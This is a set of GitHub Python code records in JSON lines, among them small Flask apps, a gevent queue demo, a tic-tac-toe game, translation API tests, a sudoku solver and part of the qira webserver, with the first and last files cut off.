fields.Many2one('body.area', string='Body Area')\n    measurement = fields.Float(string='Measurement')\n","repo_name":"butagreeza/korea_spa","sub_path":"addons_custom/izi_therapy_record/models/therapy_body_measure.py","file_name":"therapy_body_measure.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70623337389","text":"from pymongo import MongoClient\n\nfrom flask import Flask, render_template, jsonify, request\n\napp = Flask(__name__)\n\nclient = MongoClient('localhost', 27017)\ndb = client.dbsparta\n\n\n# HTML 화면 보여주기\n@app.route('/')\ndef home():\n    return render_template('index.html')\n\n\n# API 역할을 하는 부분\n@app.route('/api/list', methods=['GET'])\ndef show_stars():\n    # 1. DB의 데이터들을 좋아요순으로 가져온다.\n    movie_star = list(db.mystar.find({},{'_id':False}).sort(\"like\", -1))\n    # 2. 클라에게 'movie_stars'라는 이름으로 보내준다.\n    return jsonify({'movie_stars': movie_star})\n\n\n@app.route('/api/like', methods=['POST'])\ndef like_star():\n    # 1. 클라이언트에서 넘어온 이름값을 받는다\n    name_receive = request.form['name_give']\n    # 2. 해당 이름의 데이터를 DB에서 가져온다\n    target_star = db.mystar.find_one({'name':name_receive})\n    # 3. 가져온 데이터에서 like를 가져옮\n    current_like = target_star['like']\n    # 4. 좋아요 수 +1\n    new_like = current_like + 1\n    # 5. DB 업데이트\n    db.mystar.update_one({'name': name_receive},{'$set':{'like':new_like}})\n\n    return jsonify({'msg': '좋아요 완료!'})\n\n\n@app.route('/api/delete', methods=['POST'])\ndef delete_star():\n    # 1. 클라이언트에서 넘어온 이름값을 받는다.\n    name_receive = request.form['name_give']\n    # 2. 해당 이름의 데이터를 DB에서 삭제\n    db.mystar.delete_one({'name': name_receive})\n\n    return jsonify({'msg': '삭제 완료!'})\n\n\nif __name__ == '__main__':\n    app.run('0.0.0.0', port=5000, debug=True)","repo_name":"kangwongu/TIL","sub_path":"python/sparta/pjojects/moviestar/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9414290656","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date    : 2018/6/13 11:40\n# Author: xycfree\n# @Descript: greenlets互相通信之Queue\n\"\"\"\n1.Queue 模块实现了多生产者、多消费���队列\n它特别适用于信息必须在多个线程间安全地交换的多线程程序中。这个模块中的 Queue 类实现了所有必须的锁语义；\n2.模块实现了三类队列，主要差别在于取得数据的顺序上\nFIFO队列中，最早加入的任务会被最先得到。LIFO队列中，最后加入的任务会被最先得到（就像栈一样）。在优先队列中，任务被保持有序，拥有最小值的任务（优先级最高）被最先得到；\n3.python内置Queue特点：\n虽然线程安全，但同步线程开销；\n4.gevent中Queue\n1）Queue(先进先出)；\n2）LifoQueue(先进后出)；\n3）PriorityQueue(优先级队列)。\n5.gevent中Queue特点\n无线程同步开销，但有Greenlet之间的线程内同步，无法线程间操作。\n\"\"\"\n\nimport time\nimport gevent\nfrom gevent.queue import Queue, Empty, LifoQueue, PriorityQueue\n\nclass Job(object):\n\n    def __init__(self, priority, desc):\n        self.priority = priority\n        self.desc = desc\n\n    def __lt__(self, other):\n        return self.priority < other.priority\n\n    def __str__(self):\n        return \"priority {} desc {}!\".format(self.priority, self.desc)\n\ndef read_queue():\n    q = PriorityQueue()\n    q.put(Job(2, 'gaga'))\n    q.put(Job(3, 'haha'))\n    q.put(Job(6, 'xixi'))\n    q.put(Job(1, 'hehe'))\n    q.put(Job(10, 'heihei'))\n    while not q.empty():\n        _job = q.get()\n        print(_job)\n    time.sleep(1)\n    print('wait...')\n\nread_queue()\n\ntasks = Queue()\n\ndef boss():\n    for i in range(1, 10):\n        tasks.put_nowait(i)\n\ndef worker(n):\n    try:\n        while True:\n            task = tasks.get(timeout=1)\n            # task = tasks.get()\n            print('worker {} got task {}'.format(n, task))\n            gevent.sleep(0)\n    except Empty:\n        print('quit')\n\ngevent.spawn(boss).join()\ngevent.joinall([\n    gevent.spawn(worker, 'mm'),\n    gevent.spawn(worker, 'nn'),\n    gevent.spawn(worker, 'bb'),\n    gevent.spawn(worker, 'vv'),\n])","repo_name":"xycfree/python_linux","sub_path":"gevents/gevent_queue_demo.py","file_name":"gevent_queue_demo.py","file_ext":"py","file_size_in_byte":2157,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"7014337222","text":"# -*- coding: utf-8 -*-\n\"\"\"\ndescription: \n\"\"\"\n__author__ = \"lina\"\n\n\nimport pytest\n\n\n@pytest.mark.skipif(True, reason=\"just test\")\n@pytest.mark.priority(1)\ndef test_02001(fixture_download_launch_exit):\n    print(\"***run case 02001\")\n    assert True\n\n\nif __name__ == \"__main__\":\n    pytest.main(args=[__file__, \"-s\"])\n","repo_name":"minghaoM/pytest_demo","sub_path":"uicase/02_下载/test_02001_下载功能.py","file_name":"test_02001_下载功能.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"16523142966","text":"from flask import Flask, render_template\nfrom flask_bootstrap import Bootstrap5\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField, URLField, TimeField, SelectField\nfrom wtforms.validators import DataRequired, URL\nimport csv\n\n'''\nRed underlines? Install the required packages first: \nOpen the Terminal in PyCharm (bottom left). \n\nOn Windows type:\npython -m pip install -r requirements.txt\n\nOn MacOS type:\npip3 install -r requirements.txt\n\nThis will install the packages from requirements.txt for this project.\n'''\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = '8BYkEfBA6O6donzWlSihBXox7C0sKR6b'\nBootstrap5(app)\n\n\nclass CafeForm(FlaskForm):\n    cafe = StringField('Cafe name', validators=[DataRequired()])\n    location = URLField('Location URL', validators=[DataRequired(), URL(True)])\n    open_time = TimeField('open time', validators=[DataRequired()])\n    closing_time = TimeField('closing time', validators=[DataRequired()])\n    coffee_rate = SelectField('coffee rating', choices=[\n        ('0', '✘'),\n        ('1', '☕️'),\n        ('2', '☕️☕️'),\n        ('3', '☕️☕️☕️'),\n        ('4', '☕️☕️☕️☕️'),\n        ('5', '☕️☕️☕️☕️☕️')\n    ], validators=[DataRequired()])\n    wifi_rate = SelectField('wifi rating', choices=[\n        ('0', '✘'),\n        ('1', '💪'),\n        ('2', '💪💪'),\n        ('3', '💪💪💪'),\n        ('4', '💪💪💪💪'),\n        ('5', '💪💪💪💪💪')\n    ], validators=[DataRequired()])\n    power_rate = SelectField('power outlet rating',  choices=[\n        ('0', '✘'),\n        ('1', '🔌'),\n        ('2', '🔌🔌'),\n        ('3', '🔌🔌🔌'),\n        ('4', '🔌🔌🔌🔌'),\n        ('5', '🔌🔌🔌🔌🔌')\n    ], validators=[DataRequired()])\n    submit = SubmitField('Submit')\n\n# Exercise:\n# add: Location URL, open time, closing time, coffee rating, wifi rating, power outlet rating fields\n# make coffee/wifi/power a select element with choice of 0 to 5.\n#e.g. You could use emojis ☕️/💪/✘/🔌\n# make all fields required except submit\n# use a validator to check that the URL field has a URL entered.\n# ---------------------------------------------------------------------------\n\n\n# all Flask routes below\n@app.route(\"/\")\ndef home():\n    return render_template(\"index.html\")\n\n\n@app.route('/add')\ndef add_cafe():\n    form = CafeForm()\n    if form.validate_on_submit():\n        print(\"True\")\n    # Exercise:\n    # Make the form write a new row into cafe-data.csv\n    # with   if form.validate_on_submit()\n    return render_template('add.html', form=form)\n\n\n@app.route('/cafes')\ndef cafes():\n    with open('cafe-data.csv', newline='', encoding='utf-8') as csv_file:\n        csv_data = csv.reader(csv_file, delimiter=',')\n        list_of_rows = []\n        for row in csv_data:\n            list_of_rows.append(row)\n\n    return render_template('cafes.html', cafes=list_of_rows)\n\n\n@app.route('/add', methods=[\"POST\"])\ndef add():\n    add_form = CafeForm()\n    if add_form.validate_on_submit():\n        with open('cafe-data.csv', 'a', encoding='utf-8', ) as csv_file:\n            new_line = (f'\\n{add_form.cafe.data},'\n                        f'{add_form.location.data},'\n                        f'{add_form.open_time.data}, '\n                        f'{add_form.closing_time.data},'\n                        f'{add_form.coffee_rate.choices[int(add_form.coffee_rate.data)][1]},'\n                        f'{add_form.wifi_rate.choices[int(add_form.wifi_rate.data)][1]},'\n                        f'{add_form.power_rate.choices[int(add_form.power_rate.data)][1]}')\n            csv_file.write(new_line)\n        with open('cafe-data.csv', newline='', encoding='utf-8') as csv_file:\n            csv_data = csv.reader(csv_file, delimiter=',')\n            list_of_rows = []\n            for row in csv_data:\n                list_of_rows.append(row)\n        return render_template('cafes.html', cafes=list_of_rows)\n    return render_template('add.html', form=add_form)\n\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"bahare-behzadi/coffee_website","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"72576308268","text":"def printboard(board):\r\n    print('\\t\\t' + '|' + '\\t\\t' + '|' + '    ')\r\n    print('   ' + board[1] + '    ' + '|' + '   ' + board[2] + '   ' + '|' + '   ' + board[3] + '    ')\r\n    print('\\t\\t' + '|' + '\\t\\t' + '|' + '\\t\\t')\r\n    print('--------' + '|' + '-------' + '|' + '--------')\r\n    print('\\t\\t' + '|' + '\\t\\t' + '|' + '\\t\\t')\r\n    print('   ' + board[4] + '    ' + '|' + '   ' + board[5] + '   ' + '|' + '   ' + board[6] + '    ')\r\n    print('\\t\\t' + '|' + '\\t\\t' + '|' + '\\t\\t')\r\n    print('--------' + '|' + '-------' + '|' + '--------')\r\n    print('\\t\\t' + '|' + '\\t\\t' + '|' + '\\t\\t')\r\n    print('   ' + board[7] + '    ' + '|' + '   ' + board[8] + '   ' + '|' + '   ' + board[9] + '    ')\r\n    print('\\t\\t' + '|' + '\\t\\t' + '|' + '\\t\\t')\r\n\r\n\r\ndef validInput(board):\r\n    position = 0\r\n    valid = [1, 2, 3, 4, 5, 6, 7, 8, 9]\r\n    alreadythere = False\r\n    while position not in valid or alreadythere:\r\n        alreadythere = False\r\n        printboard(board)\r\n        position = input('\\n\\nPlease choose a space numbered between 1 and 9: ')\r\n        if not position.isdigit():\r\n            print('\\n' * 100)\r\n            print(\"Sorry you need to choose between 1 and 9\")\r\n        else:\r\n            position = int(position)\r\n            if board[position] == 'x' or board[position] == 'o':\r\n                print('\\n' * 100)\r\n                alreadythere = True\r\n                print('This position is taken. Choose another. Dont be dumb')\r\n            elif position not in valid:\r\n                print(\"Sorry you need to choose between 1 and 9\")\r\n                print('\\n' * 100)\r\n    print('\\n'*100)\r\n    return position\r\n\r\n\r\ndef winnerCheck(boardlist):\r\n    if boardlist[1] == boardlist[2] == boardlist[3] == 'x' or  boardlist[1] == boardlist[2] == boardlist[3] == 'o':\r\n        return True\r\n    elif boardlist[4] == boardlist[5] == boardlist[6] == 'x' or  boardlist[4] == boardlist[5] == boardlist[6] == 'o':\r\n        return True\r\n    elif boardlist[7] == boardlist[8] == boardlist[9] == 'x' or  boardlist[7] == boardlist[8] == boardlist[9] == 'o':\r\n        return True\r\n    elif boardlist[1] == boardlist[4] == boardlist[7] == 'x' or  boardlist[1] == boardlist[4] == boardlist[7] == 'o':\r\n        return True\r\n    elif boardlist[2] == boardlist[5] == boardlist[8] == 'x' or  boardlist[2] == boardlist[5] == boardlist[8] == 'o':\r\n        return True\r\n    elif boardlist[3] == boardlist[6] == boardlist[9] == 'x' or  boardlist[3] == boardlist[6] == boardlist[9] == 'o':\r\n        return True\r\n    elif boardlist[1] == boardlist[5] == boardlist[9] == 'x' or  boardlist[1] == boardlist[5] == boardlist[9] == 'o':\r\n        return True\r\n    elif boardlist[7] == boardlist[5] == boardlist[3] == 'x' or  boardlist[7] == boardlist[5] == boardlist[3] == 'o':\r\n        return True\r\n    else:\r\n        return False\r\n\r\nperson1 = input('Player 1 please enter your name: ')\r\nperson2 = input('Player 2 please enter your name: ')\r\nplay = True\r\nwhile play:\r\n    print('====================Welcome to TIc Tac TOE!===================='+'\\n\\n')\r\n    valid = ['x', 'o']\r\n    player1 = 'none'\r\n    player2 = 'none'\r\n    while player1 not in valid:\r\n        player1 = input(person1 + ' please choose either x or o: ')\r\n        player1 = player1.lower()\r\n        if player1 not in valid:\r\n            print(\"Sorry! You have to choose either x or o. Try again.\")\r\n    print(person1+' is ' + player1)\r\n    if player1 == 'x':\r\n        print(person2 + ' is ' + 'o')\r\n        player2 = 'o'\r\n    else:\r\n        print(person2+' is ' + 'x')\r\n        player2 = 'x'\r\n    position1 = 0\r\n    position2 = 0\r\n    turn1 = False\r\n    turn2 = False\r\n    boardlist = ['#', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ']\r\n    if player1 == 'x':\r\n        print(person1+' is x so you will go first')\r\n        position1 = validInput(boardlist)\r\n        boardlist[position1] = player1\r\n        turn1 = True\r\n    else:\r\n        print(person2+' is x so you will go first')\r\n        position2 = validInput(boardlist)\r\n        boardlist[position2] = player2\r\n        turn2 = True\r\n    winner = False\r\n    score1 = 0\r\n    score2 = 0\r\n    count = 1\r\n    while not winner and count != 9:\r\n        if not turn1:\r\n            print(person1+' its your turn. Go ahead')\r\n            position1 = validInput(boardlist)\r\n            boardlist[position1] = player1\r\n            turn1 = True\r\n            turn2 = False\r\n            count += 1\r\n        else:\r\n            print(person2+' its your turn. Go ahead')\r\n            position2 = validInput(boardlist)\r\n            boardlist[position2] = player2\r\n            turn2 = True\r\n            turn1 = False\r\n            count += 1\r\n        if winnerCheck(boardlist):\r\n            printboard(boardlist)\r\n            if turn1:\r\n                print(\"====================\"+person1+\" HAS WON THE GAME!!!====================\")\r\n                score1 += 1\r\n                winner = True\r\n            else:\r\n                print('===================='+person2+' HAS WON THE GAME!!!====================')\r\n                score2 += 1\r\n                winner = True\r\n            print(score2)\r\n            playagain = input('Would you like to play again? y or n: ')\r\n            playagain = playagain.lower()\r\n            if playagain == 'n':\r\n                play = False\r\n            else:\r\n                play = True\r\n        elif count == 9:\r\n            print('====================THIS WAS A DRAWWWW====================!!!')\r\n            printboard(boardlist)\r\n            playagain = input('Would you like to play again? y or n: ')\r\n            playagain = playagain.lower()\r\n            if playagain == 'n':\r\n                play = False\r\n            else:\r\n                play = True\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"haqq97/TicTacToe","sub_path":"TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":5731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9803633190","text":"# -*- coding: utf-8 -*-\n\nimport json\nimport time\n\nfrom translate.app import app, views\nfrom translate.app.ratelimit import RateLimit\nfrom translate.backend import BackendManager\n\n\nclass TestAPIv1():\n\n    def setup_class(self):\n        views.manager = BackendManager({})\n        app.config['TESTING'] = True\n        app.config['SERVER']['sizelimit'] = {\n            'enabled': True,\n            'limit': 100\n        }\n        self.client = app.test_client()\n\n    def teardown_class(self):\n        pass\n\n    def test_jsonp(self):\n        for path in ['/api/v1/pairs?callback=foo',\n                     '/api/v1/translate?callback=foo',\n                     '/api/v1/info?callback=foo']:\n            resp = self.client.get(path)\n            assert resp.data.startswith('foo(')\n            # XXX: Should it end with ;? Does it matter?\n            assert resp.data.endswith(')')\n\n            # Strip jsonp (doesn't parse here)\n            assert json.loads(resp.data[4:-1]) is not None\n\n    def test_pairs_good_input(self):\n        for path in ['/api/v1/pairs']:\n            resp = self.client.get(path)\n            assert resp.status_code == 200\n            js = json.loads(resp.data)\n            assert js is not None\n            assert 'pairs' in js\n\n    def test_info_good_input(self):\n        for path in ['/api/v1/info']:\n            resp = self.client.get(path)\n            assert resp.status_code == 200\n            js = json.loads(resp.data)\n            assert js is not None\n            assert 'backends' in js\n\n    def test_translate_bad_input(self):\n        for params in ['', 'from=foo&to=bar&text=baz', 'to=bar&text=baz',\n                       'text=baz', 'from=en&text=foo&to=bad-lang',\n                       'from=en&to=en&text=']:\n            resp = self.client.get('/api/v1/translate?' + params)\n\n            assert resp.status_code != 200\n\n            js = json.loads(resp.data)\n\n            assert js is not None\n\n    def test_errors(self):\n        \"\"\"Make sure API functions return proper error codes/information\"\"\"\n\n        # Kill the limiter for now\n        RateLimit.enabled = False\n\n        # Test format of error messages\n        resp = self.client.get('/api/v1/translate')\n        assert resp.status_code == 452\n        js = json.loads(resp.data)\n\n        assert js is not None\n\n        for pair in [('status', 'Translation error'),\n                     ('url', 'http://localhost/api/v1/translate'),\n                     ('code', 452),\n                     ('details', {})]:\n            assert js[pair[0]] == pair[1]\n\n        # Bad params\n        for params in ['', 'from=foo&to=bar', 'from=foo&to=bar&text=',\n                       'from=foo&text=bar']:\n            resp = self.client.get('/api/v1/translate?' + params)\n            assert resp.status_code == 452\n            assert resp.status == \"452 Translation error\"\n\n            js = json.loads(resp.data)\n            assert js is not None\n\n        # No translators\n        resp = self.client.get('/api/v1/translate?from=foo&to=bar&text=foobar')\n        assert resp.status_code == 454\n\n        js = json.loads(resp.data)\n        assert js['details']['from'] == 'foo'\n        assert js['details']['to'] == 'bar'\n        assert js['details']['text'] == 'foobar'\n\n        # No translators (due to exclusion)\n        resp = self.client.get('/api/v1/translate?from=en&to=en&text=foobar&\\\nexclude=Dummy')\n\n        js = json.loads(resp.data)\n        assert js['details']['from'] == 'en'\n        assert js['details']['to'] == 'en'\n        assert js['details']['text'] == 'foobar'\n\n        assert resp.status_code == 454\n\n    def test_batch_empty(self):\n        resp = self.client.post('/api/v1/batch',\n                                data={'urls': json.dumps([])})\n\n        print(resp.data)\n\n        assert json.loads(resp.data) == []\n        assert resp.status_code == 200\n\n    def test_batch_good(self):\n        urls = ['/api/v1/pairs', '/api/v1/pairs',\n                '/api/v1/pairs']\n\n        resp = self.client.post('/api/v1/batch',\n                                data={'urls': json.dumps(urls)})\n\n        js = json.loads(resp.data)\n        assert len(js) == 3\n        assert resp.status_code == 200\n\n        assert js[0]['status'] == 200\n        assert js[1]['status'] == 200\n        assert js[2]['status'] == 200\n\n    def test_batch_mixed(self):\n        urls = ['/api/v1/pairs', '/api/v1/translate?from=bad',\n                '/api/v1/pairs']\n\n        resp = self.client.post('/api/v1/batch',\n                                data={'urls': json.dumps(urls)})\n\n        js = json.loads(resp.data)\n        assert len(js) == 3\n        assert resp.status_code == 200\n\n        assert js[0]['status'] == 200\n        assert js[1]['status'] == 452\n        assert js[2]['status'] == 200\n\n    def test_ratelimit_info(self):\n        RateLimit.limit_dict = {}\n        RateLimit.enabled = True\n        RateLimit.limit = 5\n        RateLimit.per = 5\n\n        reset = time.time() + 100\n        RateLimit.reset = reset\n\n        resp = self.client.get('/api/v1/info')\n\n        assert resp.status_code == 200\n        assert json.loads(resp.data)['ratelimit'] == {\n            'reset': reset,\n            'limit': 5,\n            'per': 5,\n            'methods': {}\n        }\n\n        for _ in xrange(6):\n            self.client.get('/api/v1/translate')\n\n        self.client.get('/api/v1/pairs')\n\n        resp = self.client.get('/api/v1/info')\n        assert resp.status_code == 200\n\n        js = json.loads(resp.data)['ratelimit']\n        assert js['limit'] == 5\n        assert js['per'] == 5\n        assert js['reset'] == reset\n        assert js['methods'] == {\n            '/api/v1/translate': 0,\n            '/api/v1/pairs': 4\n        }\n\n        RateLimit.limit_dict = {}\n        RateLimit.enabled = False\n\n    def test_sizelimit(self):\n        text = 'a' * 101\n        resp = self.client.get('/api/v1/translate?from=en&to=en&text=' + text)\n        assert json.loads(resp.data) is not None\n        assert resp.status_code == 431\n","repo_name":"erik/translate","sub_path":"tests/api_test.py","file_name":"api_test.py","file_ext":"py","file_size_in_byte":5990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"40489146607","text":"'''\nCreated on 15/dic/2012\n\n@author: mlarocca\n'''\n\n# CHALLENGE PROBLEM: \n#\n# Use your check_sudoku function as the basis for solve_sudoku(): a\n# function that takes a partially-completed Sudoku grid and replaces\n# each 0 cell with an integer in the range 1..9 in such a way that the\n# final grid is valid.\n#\n# There are many ways to cleverly solve a partially-completed Sudoku\n# puzzle, but a brute-force recursive solution with backtracking is a\n# perfectly good option. The solver should return None for broken\n# input, False for inputs that have no valid solutions, and a valid\n# 9x9 Sudoku grid containing no 0 elements otherwise. In general, a\n# partially-completed Sudoku grid does not have a unique solution. You\n# should just return some member of the set of solutions.\n#\n\n'''Checks if the grid is a valid sudoku (partial) solution\n   ASSUMES that the grid is well formed\n   Checks ONLY the distribution of the values inside a valid grid\n   DO NOT check that all values are valid (for performance reasons it is checked \n   only once when the input is read)\n   @param grid: The grid to be checked\n   @return:  True <=> the grid is a valid (possibly partial) solution\n             False <-> Otherwise\n'''\ndef check_sudoku(grid):\n        \n    #checks rows and cols values\n    row_i = {}   \n    col_i = {}\n    for i in xrange(9):\n        row_i.clear()\n        col_i.clear()\n        for j in xrange(9):\n            #For every values it gets on the grid,\n            #Increments a counter that keeps track\n            #Of how many times that value appear in the ith col and row\n            try:\n                row_i[grid[i][j]] += 1\n            except KeyError:\n                row_i[grid[i][j]] = 1\n            try:\n                col_i[grid[j][i]] += 1\n            except KeyError:\n                col_i[grid[j][i]] = 1               \n        #Discards values relative to zeros (wildcards)\n        try:\n            del row_i[0]\n        except KeyError:\n            pass\n        try:\n            del col_i[0]\n        except KeyError:\n            pass\n        \n        #If any value (excluding 0) appears more than once in a single\n        #row or column, then the sudoku assignment isn't valid\n        row_i_v = row_i.values()\n        col_i_v = col_i.values()\n        if ((len(row_i_v) > 0 and max(row_i_v) > 1) or \n            (len(col_i_v) > 0 and max(col_i_v) > 1)):\n            return False\n    \n    #now checks the 3x3 cells\n    \n    cell = {}\n    for cell_row in xrange(3):\n        for cell_col in xrange(3):\n            #For each cell...\n            cell.clear()\n            for row in xrange(3 * cell_row, 3 * (cell_row + 1)):\n                for col in xrange(3 * cell_col, 3 * (cell_col + 1)):\n                    #...for each value found in a single cell\n                    #Increments a counter that keeps track\n                    #Of how many times that value appear in the cell\n                    try:\n                        cell[grid[row][col]] += 1\n                    except KeyError:\n                        cell[grid[row][col]] = 1\n            #Discards values relative to zeros (wildcards)\n            try:\n                del cell[0]\n            except KeyError:\n                pass\n            \n            #If any value (excluding 0) appears more than once in a single\n            #cell, then the sudoku assignment isn't valid\n            cell_v = cell.values()\n            if len(cell_v) > 0 and max(cell_v) > 1:\n                return False\n            \n    #If it has made it so far, the assignment is valid        \n    return True\n\n'''A sudoku solver function\n   If the grid is well formed (any iterable containing 9 iterables each of\n   which contains 9 integers between 0 and 9 included is accepted as valid)\n   and if it is a valid partial solution for the sudoku puzzle,\n   it tries to solve it, if possible. \n\n   @param grid: The grid representing the specific sudoku puzzle to solve;\n   @return:  The grid properly filled <=> The grid is properly formatted and \n                                          the puzzle is solvable\n             False <=> The grid is properly formatted but there is no\n                       solution to the puzzle\n             None <=>  The grid violates the sudoku contraints\n                       (wrong size or wrong types or values)\n'''\ndef solve_sudoku(grid):\n\n   \n\n    ''' For a partial solution grid and a cell (the cell at the\n        crossing of ith row and jth column) enumerates all the possible\n        values that can be assigned to that cell;\n        @param grid:  A partial solution grid\n        @param i:  Row of the cell under evaluation\n        @param j: Column of the cell under evaluation\n        @return: A list of the possible values for the cell.        \n    '''\n    def get_valid_values_for_cell(grid, i, j):\n        valid_values = {i : 0 for i in xrange(10) }  #Initially, 1 to 9 are supposed to be valid\n        for k in xrange(9):\n            #For every values it gets on the grid,\n            #removes it from the valid ones, if it's still included\n\n            valid_values[grid[i][k]] = 1\n            valid_values[grid[k][j]] = 1\n\n        #Now checks the 3x3 cell\n        cell_i = i - i%3\n        cell_j = j - j%3\n        for i in xrange(cell_i, cell_i + 3):\n            for j in xrange(cell_j, cell_j + 3):\n                valid_values[grid[i][j]] = 1\n\n        #If the call is issued correctly grid[i][j] == 0 and therefore valid_values[0] == 1 => 0 in valid_values\n        del valid_values[0]\n\n        return [k for (k,v) in valid_values.items() if v == 0]\n    \n    ''' Given a partial solution grid and the list of its unassigned cells\n        chooses the next move (i.e. the next cell to be assigned a value)\n        according to the most constrained one first criterium\n        \n        @param grid:  A partial solution grid\n        @param free_cells:  A list of the free cells remaining in the grid\n        @return: A couple containing:\n                 - The list of possible values that can be assigned to the chosen cell\n                 - A couple of indices for row and column of the chosen cell\n    '''\n    def pick_next_move(grid, free_cells):\n        best_choice_len = float(\"inf\")\n        \n        for (i,j) in free_cells:\n            values = get_valid_values_for_cell(grid, i, j)\n            n = len(values)\n            if n == 0:\n                return None, (None, None)    #This cell has no possible choice, so we can as well backtrack\n            elif n == 1:\n                #This is the most possible constrained situation\n                #so we can as well choose this\n                return values, (i, j)\n            elif n < best_choice_len:\n                best_choice_len = n\n                best_choice = (values, (i,j))\n        assert(best_choice)\n        return best_choice\n        \n            \n    ''' Given a partial solution grid and the list of its unassigned cells\n        tries to solve the puzzle by choosing the best possible next cell\n        to assign a value to and then trying to assign it all the possible\n        values, for each one recursively calls itself in a DFS search.\n        \n        @param grid:  A partial solution grid\n        @param free_cells:  A list of the free cells remaining in the grid\n        @return:  The grid properly filled <=> The grid is properly formatted and \n                                                the puzzle is solvable\n                  False <=> The grid is properly formatted but there is no\n                             solution to the puzzle\n    '''    \n    def recursive_solver(grid, free_cells):\n        #Grid completed\n        if len(free_cells) == 0:\n          assert(check_sudoku(grid))\n          return grid\n\n            \n        #looks for the best next move\n        values, (i,j) = pick_next_move(grid, free_cells)\n        if values is None:\n            return False    #Must backtrack\n        #else\n        free_cells.remove((i,j))\n        #free cell!\n        \n        for val in values:\n            grid[i][j] = val\n            sol = recursive_solver(grid, free_cells[:])\n            if sol != False:\n                return sol\n        \n        #If none of the attempted substitution worked, then must backtrack\n        grid[i][j] = 0\n        return False\n      \n    ''' solve_sudoku BODY '''  \n    #checks that the grid is well formed\n    try:\n        rows = len(grid)\n    except TypeError:\n        return None\n \n    if rows != 9:\n        return None\n            \n    free_cells = []\n    for i in xrange(9): #INVARIANT: assert(len(grid) == 9)\n        #check that the single rows are well formed\n        try:\n            cols = len(grid[i])\n        except TypeError:\n            return None\n    \n        if cols != 9:\n            return None \n                  \n        for j in xrange(9): #INVARIANT: assert(len(grid[i]) == 9)\n            val = grid[i][j]\n            if val == 0:\n                free_cells.append((i,j))\n            elif type(val) != int or val < 0 or val > 9:\n                #The cell contains an invalid value\n                return None\n              \n    check = check_sudoku(grid)\n    if check != True:\n        return False    #The input is already an invalid solution    \n    #else, try to solve the puzzle      \n    return recursive_solver(grid, free_cells)","repo_name":"mlarocca/Algorithms","sub_path":"sudoku/sudoku_solver.py","file_name":"sudoku_solver.py","file_ext":"py","file_size_in_byte":9289,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"37"}
+{"seq_id":"13312159841","text":"# Nicolas DeJohn | Chapter 12-8 Lab | April 18 2021\n\n'''\nThe purpose of this program is to display Ackermanns Function that accepts two arguments. \n\n'''\n\n#import collections\n#import os \n#os.chdir(r\"C:\\Users\\Nick\\Desktop\\CPCC\\.github.io\\csc 121\\Chapter 9\")\n\n# Define Ackermann\ndef ackermann(m, n): \n    if m == 0:\n        print(m, n)\n        return n + 1\n    elif n == 0: # if m > 0 and n = 0\n\t    print(m, n) # Print the next numbers\n\t    return ackermann(m-1, 1)\n    else: \n\t    print(m, n) # Print the next numbers\n\t    return ackermann(m-1, ackermann(m, n-1))\n\n# Define the main function\ndef main():\n    m = int(input(\"Enter first integer: \"))\n    n = int(input(\"Enter second integer: \"))\n\n    # Print the ackermann function\n    print(ackermann(m, n)) \n    \n# Call the main function\nmain()","repo_name":"nicolasdejohn/nicolasdejohn.github.io","sub_path":"csc 121/Chapter 12/Nicolas_DeJohn_Lab_12-8.py","file_name":"Nicolas_DeJohn_Lab_12-8.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"10188225241","text":"# eventually, this can live in a different process\n# or we can break the boundary at static2\n# these calls don't have to be included for qira to work\nfrom __future__ import print_function\n\nimport sys\nimport qira_config\n\nfrom qira_webserver import socketio\nfrom qira_webserver import socket_method\nfrom qira_webserver import app\n\nfrom flask import Flask, Response, redirect, request\nfrom flask_socketio import SocketIO, emit\n\nfrom qira_base import *\nimport json\nimport os\n\ndef init(lprogram):\n  global program\n  program = lprogram\n\n# *** STATIC CALLS FROM THE FRONTEND ***\n\n@socketio.on('getnames', namespace='/qira')\n@socket_method\ndef getnames(addrs):\n  ret = program.static.get_tags(['name'], map(fhex, addrs))\n  send = {}\n  for addr in ret:\n    send[ghex(addr)] = ret[addr]['name']\n  emit('names', send)\n\n@app.route('/hasstatic', methods=[\"GET\"])\ndef hasstatic():\n  return str(qira_config.WITH_STATIC)\n\n# TODO: this is a shitty function\n@app.route('/gettagsa', methods=[\"POST\"])\n@socket_method\ndef gettagsa():\n  arr = json.loads(request.data)\n  ret = []\n  for i in arr:\n    i = fhex(i)\n\n    # always return them all\n    # a bit of a hack, this is so javascript can display it\n    rret = {}\n    for tags in ['name', 'comment']:\n      rret[tags] = program.static[i][tags]\n    if 'function' in program.static[i] and (program.static[i]['function'].start == i):\n      rret['function'] = True\n      rret['nargs'] = program.static[i]['function'].nargs\n    rret['address'] = ghex(i)\n    ret.append(rret)\n  return json.dumps(ret)\n\n@app.route('/gettagss', methods=[\"POST\"])\ndef gettagss():\n  arr = json.loads(request.data)\n  ret = []\n  for i in arr:\n    i = fhex(i)\n    ret.append(program.static[i].todict());\n  return 